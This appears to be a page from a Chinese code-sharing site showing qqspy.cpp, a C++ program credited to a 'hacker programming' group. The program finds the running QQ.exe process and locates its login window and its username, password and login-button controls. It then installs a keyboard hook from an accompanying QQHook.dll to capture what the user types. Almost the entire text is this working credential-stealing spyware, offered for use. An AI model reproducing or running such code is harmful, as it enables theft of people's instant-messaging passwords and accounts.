📄 qqspy.cpp
字号:
//****************************************
// 作者:∮明天去要饭
// QICQ:305725744
// MSN:kgdiwss@hotmail.com
// 黑客编程群:2585270
// Blog:http://blog.csdn.net/kgdiwss
//****************************************
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <conio.h>
#include "QQHook.h"
#pragma comment(lib,"QQHook")
//QQ登陆框正常情况下的风格
#define QQLoginDlgNormalStyle 0x94CA00C4
//QQ登陆框最小化时的风格
#define QQLoginDlgMiniStyle 0xB4CA00C4
//用户名下拉控件的ID
#define QQLoginUserNameId 0x0000008A
//密码控件文本框的ID
#define QQLoginPasswordId 0x000000B4
//登陆按扭的ID
#define QQLoginButtonId 0x00003EA0
//申明SetKeyBoardHook为导入函数
BOOL __declspec(dllimport) SetKeyBoardHook(BOOL bInstall,
HMODULE hDll,
HWND hLoginWindow,
HWND hUserName,
HWND hUserPwd,
HWND hLoginButton,
DWORD dwCreateWindowProcessID);
//枚举所有窗口的回调函数
BOOL CALLBACK EnumAllWindowsProc(HWND hwnd,LPARAM lParam);
//枚举所有子窗口的回调函数
BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam);
//登陆窗口句柄
HWND hLoginWindow = NULL;
//创建窗口的进程ID
DWORD dwCreateWindowProcessID;
//用户名、密码、登陆按钮的句柄
HWND hUserName;
HWND hUserPwd;
HWND hLoginButton;
int main(void)
{
//保存钩子函数的DLL句柄
HMODULE hDll;
//安装键盘钩子的返回值
BOOL bKeyBoardHook;
//定义PROCESSENTRY32结构
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
HANDLE hProcessSnap;
//所有进程快照
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("进程快照失败!\n");
return -1;
}
BOOL bRet;
//遍历进程快照,轮流显示每个进程的信息
bRet = Process32First(hProcessSnap,&pe);
while(bRet)
{
//pe.szExeFile保存的值为进程对应的可执行文件名
if(strcmp(pe.szExeFile,"QQ.exe") ==0)
{
BOOL bRet;
//枚举所有窗口,把进程PID传给回调函数EnumAllWindowsProc
bRet = EnumWindows(EnumAllWindowsProc,(LPARAM)pe.th32ProcessID);
if(bRet == FALSE)
{
printf("枚举所有窗口失败!\n");
return -1;
}
//枚举登陆窗口的所有子窗口,执行上面的函数后就会得到登陆窗口的句柄了
bRet = EnumChildWindows(hLoginWindow,EnumChildWindowsProc,NULL);
if(bRet == FALSE)
{
printf("枚举子窗口失败");
return -1;
}
//用户名、密码、登陆按钮的句柄都不为空时安装钩子
if(hUserName != NULL &&
hUserPwd != NULL &&
hLoginButton != NULL)
{
//得到DLL模块的句柄
hDll = GetModuleHandle("QQHook.dll");
if(hDll == NULL)
{
return FALSE;
}
//安装键盘钩子
bKeyBoardHook = SetKeyBoardHook(
TRUE,
hDll,
hLoginWindow,
hUserName,
hUserPwd,
hLoginButton,
dwCreateWindowProcessID);
if(bKeyBoardHook == FALSE)
{
printf("调用键盘钩子失败!");
return FALSE;
}
}
}
bRet = ::Process32Next(hProcessSnap,&pe);
}
// 清除掉进程快照对象
CloseHandle(hProcessSnap);
//输入|程序才结束,否则程序运行完钩子就自动卸载了
char strGet;
strGet = getch();
while (strGet != '|')
{
strGet = getch();
}
return 0;
}
BOOL CALLBACK EnumAllWindowsProc(HWND hwnd,LPARAM lParam)
{
if(hwnd == NULL)
{
return FALSE;
}
//QQ.exe的ID
DWORD dwQQProcessID;
dwQQProcessID = (DWORD)lParam;
GetWindowThreadProcessId(hwnd,&dwCreateWindowProcessID);
//如果创建QQ.exe的进程等于创建窗口的进程
if(dwQQProcessID == dwCreateWindowProcessID)
{
LONG lWindowStyle;
//找到窗口的风格
lWindowStyle = GetWindowLong(hwnd,GWL_STYLE);
//如果条件成立,表示当前窗口为登陆窗口
if(lWindowStyle == QQLoginDlgNormalStyle ||
lWindowStyle == QQLoginDlgMiniStyle)
{
//保存登陆窗口的句柄
hLoginWindow = hwnd;
}
}
return TRUE;
}
BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam)
{
if(hwnd == FALSE)
{
return FALSE;
}
LONG lID;
//取得所有子窗口的ID
lID = GetWindowLong(hwnd, GWL_ID);
//printf("lID的值为:%d\n",lID);
//该句表示找到用户名的句柄
if(lID == QQLoginUserNameId)
{
hUserName = hwnd;
//printf("hUserName的值为:%x\n",hUserName);
}
else if(lID == QQLoginPasswordId)
{
hUserPwd = hwnd;
//printf("hUserPwd的值为:%x\n",hUserPwd);
}
else if(lID == QQLoginButtonId)
{
hLoginButton = hwnd;
//printf("hLoginButton的值为:%x\n",hLoginButton);
}
return TRUE;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -